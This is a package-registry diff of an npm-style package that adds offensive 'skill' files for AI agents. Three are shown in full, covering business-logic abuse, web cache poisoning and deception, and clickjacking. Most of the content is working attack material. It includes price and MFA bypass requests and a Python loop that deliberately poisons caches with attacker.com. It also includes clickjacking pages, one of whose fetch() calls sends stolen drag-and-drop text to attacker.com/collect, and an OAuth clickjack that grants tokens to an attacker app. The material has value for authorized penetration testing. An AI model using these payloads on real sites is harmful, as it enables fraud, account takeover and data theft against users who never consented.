rtexit-method 0.1.8 → 0.1.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/packaged-assets/.agents/skills/rt-business-logic/SKILL.md +190 -0
- package/packaged-assets/.agents/skills/rt-cache-attacks/SKILL.md +166 -0
- package/packaged-assets/.agents/skills/rt-clickjacking/SKILL.md +227 -0
- package/packaged-assets/.agents/skills/rt-cors-csrf/SKILL.md +180 -0
- package/packaged-assets/.agents/skills/rt-deserialization/SKILL.md +223 -0
- package/packaged-assets/.agents/skills/rt-dom-attacks/SKILL.md +219 -0
- package/packaged-assets/.agents/skills/rt-http-parameter-pollution/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-ldap-xpath-injection/SKILL.md +228 -0
- package/packaged-assets/.agents/skills/rt-path-traversal/SKILL.md +172 -0
- package/packaged-assets/.agents/skills/rt-prototype-pollution/SKILL.md +154 -0
- package/packaged-assets/.agents/skills/rt-request-smuggling/SKILL.md +187 -0
- package/packaged-assets/.agents/skills/rt-subdomain-takeover/SKILL.md +307 -0
- package/packaged-assets/.agents/skills/rt-xxe/SKILL.md +181 -0
package/package.json
CHANGED
|
@@ -0,0 +1,190 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-business-logic
|
|
3
|
+
description: "Business logic vulnerability skill for authorized engagements. Price manipulation via negative quantities and integer overflow, workflow sequence bypass, privilege escalation through multi-step process abuse, coupon stacking, account balance manipulation, race condition in purchases, trust boundary violations, and forced browsing past security checkpoints. Use when testing e-commerce, financial, or multi-step workflow applications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-business-logic — Business Logic Vulnerabilities
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Business logic flaws are application-specific vulnerabilities where the security control is bypassable through legitimate application functionality used in unintended ways. They can't be detected by scanners — they require understanding the intended workflow and finding deviations.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Price Manipulation
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Negative quantity → negative price → store owes you money
|
|
18
|
+
POST /cart/add HTTP/1.1
|
|
19
|
+
{"product_id": 5, "quantity": -100}
|
|
20
|
+
|
|
21
|
+
# Integer overflow → price wraps to negative
|
|
22
|
+
# 2147483647 + 1 = -2147483648 (32-bit integer overflow)
|
|
23
|
+
{"quantity": 2147483648}
|
|
24
|
+
|
|
25
|
+
# Modify price in transit (if not server-side validated)
|
|
26
|
+
# Intercept in Burp → change price field
|
|
27
|
+
{"product_id": 1, "price": 0.01, "quantity": 1}
|
|
28
|
+
|
|
29
|
+
# Currency manipulation
|
|
30
|
+
{"price": "1", "currency": "HUF"} # Hungarian Forint (cheap)
|
|
31
|
+
# If currency not validated → pay in weak currency
|
|
32
|
+
|
|
33
|
+
# Discount code stacking
|
|
34
|
+
# Apply coupon → apply same coupon again → double discount
|
|
35
|
+
POST /checkout/apply-coupon {"code": "SAVE50"}
|
|
36
|
+
POST /checkout/apply-coupon {"code": "SAVE50"} # Apply twice
|
|
37
|
+
```
|
|
38
|
+
|
|
39
|
+
---
|
|
40
|
+
|
|
41
|
+
## Phase 2 — Workflow Sequence Bypass
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Multi-step checkout — skip payment step
|
|
45
|
+
# Step 1: /checkout/cart
|
|
46
|
+
# Step 2: /checkout/shipping
|
|
47
|
+
# Step 3: /checkout/payment
|
|
48
|
+
# Step 4: /checkout/confirm
|
|
49
|
+
|
|
50
|
+
# Skip payment:
|
|
51
|
+
# After step 2, directly POST to /checkout/confirm
|
|
52
|
+
# Some apps track steps in cookie/session — tamper with it
|
|
53
|
+
curl -b "checkout_step=payment_complete" https://target.com/checkout/confirm
|
|
54
|
+
|
|
55
|
+
# Password reset flow bypass
|
|
56
|
+
# Step 1: Enter email → get token
|
|
57
|
+
# Step 2: Enter token
|
|
58
|
+
# Step 3: Set new password
|
|
59
|
+
|
|
60
|
+
# Skip step 2:
|
|
61
|
+
# After step 1, directly POST to step 3 with someone else's email
|
|
62
|
+
POST /reset-password/set-new HTTP/1.1
|
|
63
|
+
{"email": "victim@corp.com", "new_password": "hacked"}
|
|
64
|
+
|
|
65
|
+
# Email verification bypass
|
|
66
|
+
# Register → not verified → but directly access authenticated endpoints
|
|
67
|
+
GET /dashboard HTTP/1.1
|
|
68
|
+
Cookie: session=UNVERIFIED_SESSION
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
---
|
|
72
|
+
|
|
73
|
+
## Phase 3 — Privilege Escalation via Logic
|
|
74
|
+
|
|
75
|
+
```bash
|
|
76
|
+
# Role assignment in registration
|
|
77
|
+
POST /register HTTP/1.1
|
|
78
|
+
{"username": "attacker", "password": "pass", "role": "admin"}
|
|
79
|
+
# If role not stripped → account created with admin role
|
|
80
|
+
|
|
81
|
+
# Account type upgrade bypass
|
|
82
|
+
# Free → Premium: normally requires payment
|
|
83
|
+
# Intercept upgrade request → remove payment_token field
|
|
84
|
+
POST /upgrade HTTP/1.1
|
|
85
|
+
{"plan": "premium"} # No payment_token
|
|
86
|
+
|
|
87
|
+
# Admin function discovery
|
|
88
|
+
# Applications often check role at the UI level only
|
|
89
|
+
# Direct API calls bypass UI checks
|
|
90
|
+
GET /api/admin/users HTTP/1.1
|
|
91
|
+
Cookie: session=REGULAR_USER_SESSION
|
|
92
|
+
# If 200 → admin functions accessible to regular users
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
---
|
|
96
|
+
|
|
97
|
+
## Phase 4 — Account & Balance Manipulation
|
|
98
|
+
|
|
99
|
+
```bash
|
|
100
|
+
# Withdraw more than balance (race condition + logic)
|
|
101
|
+
# Two simultaneous withdrawals of full balance
|
|
102
|
+
python3 race_withdraw.py --balance 1000 --withdraw 1000 --threads 10
|
|
103
|
+
|
|
104
|
+
# Referral abuse
|
|
105
|
+
# Refer yourself → get bonus × unlimited
|
|
106
|
+
# Create account → refer → create new account → refer back → infinite loop
|
|
107
|
+
|
|
108
|
+
# Free trial abuse
|
|
109
|
+
# Sign up → trial expires → delete account → sign up again with same email
|
|
110
|
+
# Or: slight email variations: user+1@gmail.com, user+2@gmail.com
|
|
111
|
+
|
|
112
|
+
# Transfer to self with fee manipulation
|
|
113
|
+
POST /transfer {"from": "A", "to": "A", "amount": 100}
|
|
114
|
+
# Sending to yourself shouldn't be free — fee may apply both ways
|
|
115
|
+
|
|
116
|
+
# Gift card / voucher generation
|
|
117
|
+
POST /gift-cards/generate {"amount": 100}
|
|
118
|
+
# If no rate limiting → generate unlimited gift cards
|
|
119
|
+
```
|
|
120
|
+
|
|
121
|
+
---
|
|
122
|
+
|
|
123
|
+
## Phase 5 — Trust Boundary Violations
|
|
124
|
+
|
|
125
|
+
```bash
|
|
126
|
+
# IP-based trust
|
|
127
|
+
# App trusts requests from 127.0.0.1 without auth
|
|
128
|
+
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin/
|
|
129
|
+
curl -H "X-Real-IP: 127.0.0.1" https://target.com/internal/
|
|
130
|
+
|
|
131
|
+
# Two-factor auth logic
|
|
132
|
+
# App checks if MFA was completed in session variable
|
|
133
|
+
# If MFA completion flag can be set without actual MFA:
|
|
134
|
+
POST /login/mfa-complete HTTP/1.1
|
|
135
|
+
{"mfa_verified": true} # Set flag directly
|
|
136
|
+
|
|
137
|
+
# Email domain trust
|
|
138
|
+
# Admin features for @corp.com emails
|
|
139
|
+
# Register with: attacker@corp.com.evil.com (subdomain)
|
|
140
|
+
# Or: find if email validation uses contains() not endsWith()
|
|
141
|
+
|
|
142
|
+
# Forced browsing after partial auth
|
|
143
|
+
# Login step 1 complete → session has partial_auth=true
|
|
144
|
+
# App checks partial_auth for some endpoints instead of full_auth
|
|
145
|
+
curl -b "partial_auth=true;user_id=admin_id" https://target.com/sensitive
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
---
|
|
149
|
+
|
|
150
|
+
## Phase 6 — Logic Flaw Testing Methodology
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# For each business function, ask:
|
|
154
|
+
# 1. What is the INTENDED sequence of steps?
|
|
155
|
+
# 2. What happens if steps are skipped/reordered?
|
|
156
|
+
# 3. What are the boundary values? (0, -1, MAX_INT)
|
|
157
|
+
# 4. What if multiple requests sent simultaneously?
|
|
158
|
+
# 5. What if parameters are removed/modified?
|
|
159
|
+
# 6. What if you use functionality in an unexpected way?
|
|
160
|
+
|
|
161
|
+
# Checklist per feature:
|
|
162
|
+
# □ Negative values accepted?
|
|
163
|
+
# □ Zero values handled?
|
|
164
|
+
# □ Maximum value overflow?
|
|
165
|
+
# □ Steps required in order?
|
|
166
|
+
# □ Concurrent requests race?
|
|
167
|
+
# □ Role/permission bypass?
|
|
168
|
+
# □ Parameter removal effect?
|
|
169
|
+
# □ Cross-account data access?
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## Skill Levels
|
|
175
|
+
|
|
176
|
+
**BEGINNER:** Negative quantity price manipulation · Forced browsing to skip workflow steps · Role parameter in registration
|
|
177
|
+
|
|
178
|
+
**INTERMEDIATE:** Race condition in purchases · Multi-step workflow bypass · Trust header abuse
|
|
179
|
+
|
|
180
|
+
**ADVANCED:** Integer overflow price attacks · Complex referral abuse chains · MFA logic bypass
|
|
181
|
+
|
|
182
|
+
**EXPERT:** Multi-account business logic chains · State machine exploitation · Long-term trust building for multi-step compromise
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## References
|
|
187
|
+
|
|
188
|
+
- PortSwigger Business Logic: https://portswigger.net/web-security/logic-flaws
|
|
189
|
+
- OWASP Testing Business Logic: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/
|
|
190
|
+
- MITRE T1078: https://attack.mitre.org/techniques/T1078/
|
|
@@ -0,0 +1,166 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-cache-attacks
|
|
3
|
+
description: "Web cache poisoning and cache deception skill for authorized engagements. Cache poisoning via unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme), fat GET requests, cache key normalization flaws, cache deception attacks for stealing session tokens, CDN cache poisoning, DoS via cache poisoning, and parameter cloaking. Use when testing applications using caching layers (Varnish, Cloudflare, Fastly, Nginx proxy_cache)."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-cache-attacks — Web Cache Poisoning & Cache Deception
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Web cache attacks exploit how caching layers store and serve responses. **Cache Poisoning**: trick the cache into storing a malicious response served to all users. **Cache Deception**: trick the cache into storing a response containing the victim's sensitive data, then retrieve it.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Cache Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Detect caching headers
|
|
18
|
+
curl -s -I https://target.com/ | grep -i "cache\|age\|x-cache\|cf-cache\|x-varnish"
|
|
19
|
+
# X-Cache: HIT = cached
|
|
20
|
+
# Age: 123 = cached for 123 seconds
|
|
21
|
+
# CF-Cache-Status: HIT = Cloudflare cache hit
|
|
22
|
+
# X-Varnish: 123 456 = Varnish hit
|
|
23
|
+
|
|
24
|
+
# Cache key — what makes responses unique per-cache entry
|
|
25
|
+
# Usually: URL + Host header (sometimes query params, cookies)
|
|
26
|
+
|
|
27
|
+
# Test for unkeyed inputs (affect response but NOT cache key)
|
|
28
|
+
# If adding X-Forwarded-Host changes response but not cache key → poisonable
|
|
29
|
+
curl -H "X-Forwarded-Host: evil.com" https://target.com/
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Phase 2 — Web Cache Poisoning
|
|
35
|
+
|
|
36
|
+
```bash
|
|
37
|
+
# Unkeyed header injection → poison cache with XSS/open redirect
|
|
38
|
+
|
|
39
|
+
# X-Forwarded-Host poisoning
|
|
40
|
+
curl -H "X-Forwarded-Host: attacker.com" https://target.com/
|
|
41
|
+
# If response contains: <script src="//attacker.com/..."> → reflected → cache it
|
|
42
|
+
|
|
43
|
+
# Wait for cache to store poisoned response
|
|
44
|
+
# All users requesting https://target.com/ get XSS payload
|
|
45
|
+
|
|
46
|
+
# X-Forwarded-Scheme poisoning
|
|
47
|
+
curl -H "X-Forwarded-Scheme: http" https://target.com/
|
|
48
|
+
# If redirects to: http://target.com → cache redirect → serve to all users
|
|
49
|
+
|
|
50
|
+
# Fat GET — body in GET request
|
|
51
|
+
curl -X GET https://target.com/ \
|
|
52
|
+
-H "Content-Length: 48" \
|
|
53
|
+
-d "param=../../admin"
|
|
54
|
+
# Some caches key on URL only, ignore body → poisoned response cached
|
|
55
|
+
|
|
56
|
+
# Parameter cloaking (duplicate parameters)
|
|
57
|
+
# Cache sees: /search?q=normal (keyed)
|
|
58
|
+
# Server sees: /search?q=normal&q=<script>alert(1)</script> (unkeyed second param)
|
|
59
|
+
curl "https://target.com/search?q=normal&q=%3Cscript%3Ealert%281%29%3C%2Fscript%3E"
|
|
60
|
+
```
|
|
61
|
+
|
|
62
|
+
```python
|
|
63
|
+
# Automated cache poisoning with param miner
|
|
64
|
+
# Burp Suite → BApp Store → Param Miner
|
|
65
|
+
# Active Scan → sends all unkeyed headers → finds reflections
|
|
66
|
+
|
|
67
|
+
# Manual poisoning script
|
|
68
|
+
import requests, time
|
|
69
|
+
|
|
70
|
+
headers_to_test = [
|
|
71
|
+
"X-Forwarded-Host",
|
|
72
|
+
"X-Host",
|
|
73
|
+
"X-Forwarded-Server",
|
|
74
|
+
"X-HTTP-Method-Override",
|
|
75
|
+
"X-Original-URL",
|
|
76
|
+
"X-Rewrite-URL",
|
|
77
|
+
]
|
|
78
|
+
|
|
79
|
+
for header in headers_to_test:
|
|
80
|
+
r = requests.get("https://target.com/",
|
|
81
|
+
headers={header: "attacker.com"})
|
|
82
|
+
if "attacker.com" in r.text:
|
|
83
|
+
print(f"REFLECTED: {header}")
|
|
84
|
+
# Now poison the cache
|
|
85
|
+
for _ in range(10): # Ensure cached
|
|
86
|
+
requests.get("https://target.com/",
|
|
87
|
+
headers={header: "attacker.com"})
|
|
88
|
+
print(f"Cache poisoned via {header}!")
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
---
|
|
92
|
+
|
|
93
|
+
## Phase 3 — Web Cache Deception
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
# Trick cache into storing victim's authenticated response
|
|
97
|
+
# Then fetch it unauthenticated
|
|
98
|
+
|
|
99
|
+
# Scenario:
|
|
100
|
+
# /api/profile returns victim's personal data (not cached — dynamic)
|
|
101
|
+
# /profile/photo.jpg returns a photo (cached — static file)
|
|
102
|
+
# Attack: /api/profile/photo.jpg ← cache sees .jpg → caches it
|
|
103
|
+
# server sees /api/profile → returns user data
|
|
104
|
+
|
|
105
|
+
# Step 1: Trick victim into visiting
|
|
106
|
+
https://target.com/api/profile/nonexistent.jpg
|
|
107
|
+
# (via phishing, stored XSS, etc.)
|
|
108
|
+
|
|
109
|
+
# Step 2: Victim visits → server returns their profile data → cache stores it
|
|
110
|
+
|
|
111
|
+
# Step 3: Attacker fetches same URL (no auth needed — cached)
|
|
112
|
+
curl https://target.com/api/profile/nonexistent.jpg
|
|
113
|
+
# Returns: victim's personal data, session tokens, etc.
|
|
114
|
+
|
|
115
|
+
# Common path extensions that trigger caching:
|
|
116
|
+
extensions = [".jpg", ".png", ".css", ".js", ".ico", ".gif", ".svg", ".woff"]
|
|
117
|
+
for ext in extensions:
|
|
118
|
+
url = f"https://target.com/api/user/profile{ext}"
|
|
119
|
+
r = requests.get(url, cookies={"session": ATTACKER_SESSION})
|
|
120
|
+
if "X-Cache: HIT" in str(r.headers):
|
|
121
|
+
print(f"Cacheable: {url}")
|
|
122
|
+
```
|
|
123
|
+
|
|
124
|
+
---
|
|
125
|
+
|
|
126
|
+
## Phase 4 — CDN-Specific Attacks
|
|
127
|
+
|
|
128
|
+
```bash
|
|
129
|
+
# Cloudflare cache poisoning
|
|
130
|
+
curl -H "CF-Worker: 1" https://target.com/
|
|
131
|
+
curl -H "CF-Connecting-IP: 127.0.0.1" https://target.com/
|
|
132
|
+
curl -H "True-Client-IP: attacker.com" https://target.com/
|
|
133
|
+
|
|
134
|
+
# Fastly cache poisoning
|
|
135
|
+
curl -H "Fastly-Client-IP: 127.0.0.1" https://target.com/
|
|
136
|
+
|
|
137
|
+
# Varnish — via Vary header manipulation
|
|
138
|
+
# If Vary: Cookie → each cookie value = separate cache key
|
|
139
|
+
# Poison specific cached variant
|
|
140
|
+
|
|
141
|
+
# Cache DoS (cache poisoning for unavailability)
|
|
142
|
+
# Poison cached page with 500 error or redirect to non-existent resource
|
|
143
|
+
curl -H "X-Forwarded-Host: 127.0.0.1:99999" https://target.com/
|
|
144
|
+
# Forces error → caches 500 response → all users get error
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
---
|
|
148
|
+
|
|
149
|
+
## Skill Levels
|
|
150
|
+
|
|
151
|
+
**BEGINNER:** Burp Param Miner for unkeyed header discovery · Manual reflection testing
|
|
152
|
+
|
|
153
|
+
**INTERMEDIATE:** X-Forwarded-Host poisoning to XSS · Cache deception for session theft
|
|
154
|
+
|
|
155
|
+
**ADVANCED:** Fat GET poisoning · Parameter cloaking · CDN-specific header abuse
|
|
156
|
+
|
|
157
|
+
**EXPERT:** Response queue poisoning + cache combo · Host header injection chains · Cache DoS at scale
|
|
158
|
+
|
|
159
|
+
---
|
|
160
|
+
|
|
161
|
+
## References
|
|
162
|
+
|
|
163
|
+
- PortSwigger Cache Poisoning: https://portswigger.net/research/practical-web-cache-poisoning
|
|
164
|
+
- PortSwigger Cache Deception: https://portswigger.net/research/web-cache-entanglement
|
|
165
|
+
- Param Miner: https://github.com/PortSwigger/param-miner
|
|
166
|
+
- MITRE T1190: https://attack.mitre.org/techniques/T1190/
|
|
@@ -0,0 +1,227 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-clickjacking
|
|
3
|
+
description: "Clickjacking, UI redressing, and drag-and-drop attack skill for authorized engagements. Classic clickjacking iframe overlay, multi-step clickjacking, drag-and-drop data theft, cursorjacking, touchscreen hijacking, clickjacking for CSRF bypass, and testing X-Frame-Options and Content-Security-Policy frame-ancestors. Use when testing applications that perform state-changing actions on clicks without CSRF tokens."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-clickjacking — Clickjacking & UI Redressing
|
|
7
|
+
|
|
8
|
+
## Overview
|
|
9
|
+
|
|
10
|
+
Clickjacking tricks users into clicking on something different from what they perceive. An invisible iframe overlay of a target site sits on top of an attacker page — the user thinks they're clicking the attacker's UI but actually clicking the target's buttons (delete account, transfer funds, change email, authorize OAuth).
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Phase 1 — Detection
|
|
15
|
+
|
|
16
|
+
```bash
|
|
17
|
+
# Check X-Frame-Options header
|
|
18
|
+
curl -s -I https://target.com/ | grep -i "x-frame-options\|content-security-policy"
|
|
19
|
+
|
|
20
|
+
# X-Frame-Options: DENY = can't iframe at all (safe)
|
|
21
|
+
# X-Frame-Options: SAMEORIGIN = can only iframe from same origin (safe)
|
|
22
|
+
# No header = potentially vulnerable
|
|
23
|
+
|
|
24
|
+
# CSP frame-ancestors
|
|
25
|
+
# Content-Security-Policy: frame-ancestors 'none' (safe)
|
|
26
|
+
# Content-Security-Policy: frame-ancestors 'self' (safe)
|
|
27
|
+
# No frame-ancestors directive = check X-Frame-Options
|
|
28
|
+
|
|
29
|
+
# Quick test
|
|
30
|
+
cat > test_iframe.html << 'EOF'
|
|
31
|
+
<iframe src="https://target.com" width="800" height="600"></iframe>
|
|
32
|
+
EOF
|
|
33
|
+
# Open in browser — if target renders in iframe → clickjacking possible
|
|
34
|
+
```
|
|
35
|
+
|
|
36
|
+
---
|
|
37
|
+
|
|
38
|
+
## Phase 2 — Basic Clickjacking PoC
|
|
39
|
+
|
|
40
|
+
```html
|
|
41
|
+
<!-- Basic clickjacking — overlay invisible iframe over attacker button -->
|
|
42
|
+
<html>
|
|
43
|
+
<head>
|
|
44
|
+
<style>
|
|
45
|
+
#target-iframe {
|
|
46
|
+
position: absolute;
|
|
47
|
+
width: 800px;
|
|
48
|
+
height: 600px;
|
|
49
|
+
opacity: 0.0001; /* Invisible but clickable */
|
|
50
|
+
z-index: 2;
|
|
51
|
+
top: 0; left: 0;
|
|
52
|
+
}
|
|
53
|
+
#decoy-button {
|
|
54
|
+
position: absolute;
|
|
55
|
+
z-index: 1;
|
|
56
|
+
top: 450px; /* Align with target's "Delete Account" button */
|
|
57
|
+
left: 350px;
|
|
58
|
+
}
|
|
59
|
+
</style>
|
|
60
|
+
</head>
|
|
61
|
+
<body>
|
|
62
|
+
<iframe id="target-iframe" src="https://target.com/settings"></iframe>
|
|
63
|
+
<div id="decoy-button">
|
|
64
|
+
<button>CLICK HERE TO WIN A PRIZE!</button>
|
|
65
|
+
</div>
|
|
66
|
+
</body>
|
|
67
|
+
</html>
|
|
68
|
+
```
|
|
69
|
+
|
|
70
|
+
---
|
|
71
|
+
|
|
72
|
+
## Phase 3 — Multi-Step Clickjacking
|
|
73
|
+
|
|
74
|
+
```html
|
|
75
|
+
<!-- Some actions require multiple clicks (confirm dialog, etc.) -->
|
|
76
|
+
<!-- Multi-step attack with animated decoy -->
|
|
77
|
+
<html>
|
|
78
|
+
<head>
|
|
79
|
+
<style>
|
|
80
|
+
#iframe { position:absolute; opacity:0.0001; z-index:2; width:700px; height:500px; }
|
|
81
|
+
#step1 { position:absolute; z-index:1; top:300px; left:400px; }
|
|
82
|
+
#step2 { position:absolute; z-index:1; top:400px; left:350px; display:none; }
|
|
83
|
+
</style>
|
|
84
|
+
</head>
|
|
85
|
+
<body>
|
|
86
|
+
<iframe id="iframe" src="https://target.com/transfer"></iframe>
|
|
87
|
+
<div id="step1">
|
|
88
|
+
<button onclick="nextStep()">Click here for reward!</button>
|
|
89
|
+
</div>
|
|
90
|
+
<div id="step2">
|
|
91
|
+
<button>Confirm your prize</button>
|
|
92
|
+
</div>
|
|
93
|
+
<script>
|
|
94
|
+
function nextStep() {
|
|
95
|
+
document.getElementById('step1').style.display = 'none';
|
|
96
|
+
document.getElementById('step2').style.display = 'block';
|
|
97
|
+
// Reposition iframe to align with confirmation button
|
|
98
|
+
document.getElementById('iframe').style.top = '200px';
|
|
99
|
+
}
|
|
100
|
+
</script>
|
|
101
|
+
</body>
|
|
102
|
+
</html>
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
---
|
|
106
|
+
|
|
107
|
+
## Phase 4 — Drag-and-Drop Data Theft
|
|
108
|
+
|
|
109
|
+
```html
|
|
110
|
+
<!-- Force user to drag text from target iframe to attacker input -->
|
|
111
|
+
<!-- Bypasses CSRF token (no click needed) -->
|
|
112
|
+
<html>
|
|
113
|
+
<head>
|
|
114
|
+
<style>
|
|
115
|
+
#hidden-iframe { position:absolute; opacity:0.0001; width:500px; height:300px; top:100px; left:0; }
|
|
116
|
+
#drop-zone { position:absolute; z-index:10; top:100px; left:0; width:500px; height:300px;
|
|
117
|
+
background:rgba(0,0,0,0.01); }
|
|
118
|
+
#display { position:absolute; top:500px; }
|
|
119
|
+
</style>
|
|
120
|
+
</head>
|
|
121
|
+
<body>
|
|
122
|
+
<!-- Target iframe with sensitive text (email, token) -->
|
|
123
|
+
<iframe id="hidden-iframe" src="https://target.com/profile"></iframe>
|
|
124
|
+
|
|
125
|
+
<!-- Invisible drag-from zone overlaps target text -->
|
|
126
|
+
<div id="drop-zone"
|
|
127
|
+
ondragover="event.preventDefault()"
|
|
128
|
+
ondrop="stealData(event)">
|
|
129
|
+
</div>
|
|
130
|
+
|
|
131
|
+
<!-- Attacker's visible "game" -->
|
|
132
|
+
<div style="z-index:5">
|
|
133
|
+
<p>DRAG THE TEXT TO WIN! ↓</p>
|
|
134
|
+
<div style="border:2px dashed red; height:100px; width:300px"
|
|
135
|
+
ondragover="event.preventDefault()"
|
|
136
|
+
ondrop="captureData(event)"></div>
|
|
137
|
+
</div>
|
|
138
|
+
|
|
139
|
+
<script>
|
|
140
|
+
function captureData(e) {
|
|
141
|
+
var stolen = e.dataTransfer.getData('text/plain');
|
|
142
|
+
fetch('https://attacker.com/collect?data=' + encodeURIComponent(stolen));
|
|
143
|
+
document.getElementById('display').innerText = "Got: " + stolen;
|
|
144
|
+
}
|
|
145
|
+
</script>
|
|
146
|
+
</body>
|
|
147
|
+
</html>
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
---
|
|
151
|
+
|
|
152
|
+
## Phase 5 — Clickjacking for OAuth/Auth Bypass
|
|
153
|
+
|
|
154
|
+
```html
|
|
155
|
+
<!-- Clickjack OAuth "Authorize" button → grant permissions to attacker app -->
|
|
156
|
+
<html>
|
|
157
|
+
<style>
|
|
158
|
+
#oauth-iframe {
|
|
159
|
+
position: absolute;
|
|
160
|
+
opacity: 0.0001;
|
|
161
|
+
z-index: 2;
|
|
162
|
+
width: 700px;
|
|
163
|
+
height: 700px;
|
|
164
|
+
}
|
|
165
|
+
#fake-button {
|
|
166
|
+
position: absolute;
|
|
167
|
+
z-index: 1;
|
|
168
|
+
top: 580px; /* Align with OAuth "Allow" button */
|
|
169
|
+
left: 280px;
|
|
170
|
+
}
|
|
171
|
+
</style>
|
|
172
|
+
<body>
|
|
173
|
+
<iframe id="oauth-iframe"
|
|
174
|
+
src="https://idp.target.com/oauth/authorize?client_id=ATTACKER_APP&response_type=token&scope=read:all&redirect_uri=https://attacker.com/callback">
|
|
175
|
+
</iframe>
|
|
176
|
+
<div id="fake-button">
|
|
177
|
+
<button>Login with Google (click to continue)</button>
|
|
178
|
+
</div>
|
|
179
|
+
</body>
|
|
180
|
+
</html>
|
|
181
|
+
<!-- Victim clicks "Login with Google" → actually clicks OAuth Allow → grants attacker app access -->
|
|
182
|
+
```
|
|
183
|
+
|
|
184
|
+
---
|
|
185
|
+
|
|
186
|
+
## Phase 6 — Framebusting Bypass
|
|
187
|
+
|
|
188
|
+
```bash
|
|
189
|
+
# Some apps use JavaScript framebusting:
|
|
190
|
+
# if(top !== self) { top.location = self.location }
|
|
191
|
+
|
|
192
|
+
# Bypass 1: sandbox attribute (prevents framebusting JS)
|
|
193
|
+
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
|
|
194
|
+
# sandbox="allow-forms" allows form submission but blocks top.location access
|
|
195
|
+
|
|
196
|
+
# Bypass 2: onbeforeunload event (delays redirect)
|
|
197
|
+
<html>
|
|
198
|
+
<script>
|
|
199
|
+
window.onbeforeunload = function() { return "Leave page?" }
|
|
200
|
+
</script>
|
|
201
|
+
<iframe src="https://target.com"></iframe>
|
|
202
|
+
</html>
|
|
203
|
+
# User clicks "Stay" → framebusting prevented
|
|
204
|
+
|
|
205
|
+
# Bypass 3: HTML5 sandbox with allow-top-navigation
|
|
206
|
+
<iframe sandbox="allow-top-navigation allow-scripts allow-forms" src="https://target.com"></iframe>
|
|
207
|
+
```
|
|
208
|
+
|
|
209
|
+
---
|
|
210
|
+
|
|
211
|
+
## Skill Levels
|
|
212
|
+
|
|
213
|
+
**BEGINNER:** Basic opacity iframe PoC · X-Frame-Options detection
|
|
214
|
+
|
|
215
|
+
**INTERMEDIATE:** Multi-step clickjacking with repositioning · Framebusting bypass via sandbox
|
|
216
|
+
|
|
217
|
+
**ADVANCED:** Drag-and-drop data theft · OAuth clickjacking · Custom alignment for specific buttons
|
|
218
|
+
|
|
219
|
+
**EXPERT:** Cursorjacking · Touchscreen clickjacking on mobile · Combining with CSRF for amplified impact
|
|
220
|
+
|
|
221
|
+
---
|
|
222
|
+
|
|
223
|
+
## References
|
|
224
|
+
|
|
225
|
+
- PortSwigger Clickjacking: https://portswigger.net/web-security/clickjacking
|
|
226
|
+
- OWASP Clickjacking: https://owasp.org/www-community/attacks/Clickjacking
|
|
227
|
+
- Drag-and-drop research: https://www.contextis.com/en/blog/data-exfiltration-via-css-injection
|